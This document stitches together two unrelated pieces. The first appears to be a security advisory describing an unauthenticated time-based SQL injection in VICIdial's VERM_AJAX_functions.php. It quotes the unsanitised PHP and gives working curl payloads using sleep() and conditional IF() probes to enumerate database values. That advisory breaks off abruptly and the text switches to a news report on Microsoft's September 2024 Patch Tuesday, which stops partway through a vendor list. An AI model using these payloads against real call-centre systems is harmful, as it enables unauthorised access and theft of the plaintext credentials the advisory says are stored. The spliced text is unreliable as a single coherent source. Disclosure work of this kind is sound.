Vulnerability Details      Affected Vendor: VICIdial      Affected Product: VICIdial      Affected Version: 2.14-917a      Platform: GNU/Linux      CWE Classification: CWE-89: Improper Neutralization of Special                          Elements used in an SQL Command                          ('SQL Injection')      CVE ID: CVE-2024-85032. Vulnerability Description      An unauthenticated attacker can leverage a time-based SQL      injection vulnerability in VICIdial to enumerate database      records. By default, VICIdial stores plaintext credentials      within the database.3. Technical Description      VICIdial is an open-source contact center suite, mainly used      by call centers. The "vicidial.com" website boasts over 14,000      registered installations. There is a public SVN repository to      access the source code, as well as an ISO that can be used to      install the software. The ISO was used in a virtual machine      for testing purposes.      When performing SQL queries, VICIdial does not use prepared      statements, but instead uses the "preg_replace" PHP function      to remove problematic characters in user-controlled input      before interpolating the variable into a SQL query. This      is largely an effective solution, as regular expressions      like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which      essentially limits input to the characters shown in the pattern      (letters, numbers, underscores, and hyphens).      However, these scripts do not utilize a shared PHP file      for performing sanitization uniformly. Instead, each script      individually implements the "preg_replace" function, leading      to inconsistencies in which patterns are used and where they      are applied.      For example, providing credentials via the "Authorization"      request header using the "Basic" scheme, most PHP scripts      sanitize the username value with the following line:     $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER);      However, the "VERM_AJAX_functions.php" PHP script does not      perform any sanitization before inserting the username into      a SQL "INSERT" statement:     $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER'];     $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW'];     ...     if ($function=="log_custom_report")       {       $rpt_log_stmt="insert ignore into         verm_custom_report_holder(user,         report_name, report_parameters)         values('$PHP_AUTH_USER', '$custom_report_name',         '$LOGhttp_referer') ON DUPLICATE KEY         UPDATE report_name='$custom_report_name',         report_parameters='$custom_report_vars'";       $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);       return mysqli_affected_rows($rpt_log_rslt);       }      Since "VERM_AJAX_functions.php" can be accessed without      authentication, this creates a straight forward unauthenticated      SQL injection vulnerability. While the page response cannot      be manipulated by the execution of the query, delays in the      page response can be observed when using SQL functions such as      "sleep()", enabling the enumeration of database values using      time-based SQL injection:     $ time curl -u "foo:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.019s   <--- (normal response time)     user    0m0.004s     sys    0m0.008s     $ time curl -u "','',sleep(5));#:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.023s   <--- (5-second delay in response time)     user    0m0.003s     sys    0m0.008s      This observable difference can be used to craft queries that      sleep under specific conditions, allowing an attacker to ask      "Yes or No" questions. In the following example, the "sleep()"      function is called only if the provided string matches the      database version:     $ time curl -u \         "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.024s   <--- (normal response time)     user    0m0.006s     sys    0m0.003s     $ time curl -u \  "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.019s   <--- (5-second delay in response time)     user    0m0.004s     sys    0m0.008s4.

Windows Security / Vulnerability

Microsoft on Tuesday disclosed that three new security flaws impacting the Windows platform have come under active exploitation as part of its Patch Tuesday update for September 2024.

The monthly security release addresses a total of 79 vulnerabilities, of which seven are rated Critical, 71 are rated Important, and one is rated Moderate in severity. This is aside from 26 flaws that the tech giant resolved in its Chromium-based Edge browser since last month's Patch Tuesday release.

The three vulnerabilities that have been weaponized in a malicious context are listed below, alongside a bug that Microsoft is treating as exploited -

*   **CVE-2024-38014** (CVSS score: 7.8) - Windows Installer Elevation of Privilege Vulnerability
*   **CVE-2024-38217** (CVSS score: 5.4) - Windows Mark-of-the-Web (MotW) Security Feature Bypass Vulnerability
*   **CVE-2024-38226** (CVSS score: 7.3) - Microsoft Publisher Security Feature Bypass Vulnerability
*   **CVE-2024-43491** (CVSS score: 9.8) - Microsoft Windows Update Remote Code Execution Vulnerability

"Exploitation of both CVE-2024-38226 and CVE-2024-38217 can lead to the bypass of important security features that block Microsoft Office macros from running," Satnam Narang, senior staff research engineer at Tenable, said in a statement.

"In both cases, the target needs to be convinced to open a specially crafted file from an attacker-controlled server. Where they differ is that an attacker would need to be authenticated to the system and have local access to it to exploit CVE-2024-38226."

As disclosed by Elastic Security Labs last month, CVE-2024-38217 – also referred to as LNK Stomping – is said to have been abused in the wild as far back as February 2018.

CVE-2024-43491, on the other hand, is notable for the fact that it's similar to the downgrade attack that cybersecurity company SafeBreach detailed early last month.

"Microsoft is aware of a vulnerability in Servicing Stack that has rolled back the fixes for some vulnerabilities affecting Optional Components on Windows 10, version 1507 (initial version released July 2015)," Redmond noted.

"This means that an attacker could exploit these previously mitigated vulnerabilities on Windows 10, version 1507 (Windows 10 Enterprise 2015 LTSB and Windows 10 IoT Enterprise 2015 LTSB) systems that have installed the Windows security update released on March 12, 2024 — KB5035858 (OS Build 10240.20526) or other updates released until August 2024."

The Windows maker further said it can be resolved by installing the September 2024 Servicing stack update (SSU KB5043936) and the September 2024 Windows security update (KB5043083), in that order.

It's also worth pointing out that Microsoft's "Exploitation Detected" assessment for CVE-2024-43491 stems from the rollback of fixes that addressed vulnerabilities impacting some Optional Components for Windows 10 (version 1507) that have been previously exploited.

"No exploitation of CVE-2024-43491 itself has been detected," the company said. "In addition, the Windows product team at Microsoft discovered this issue, and we have seen no evidence that it is publicly known."

**Software Patches from Other Vendors**

In addition to Microsoft, security updates have also been released by other vendors over the past few weeks to rectify several vulnerabilities, including —

*   Adobe
*   Arm
*   Bosch
*   Broadcom (including VMware)
*   Cisco
*   Citrix
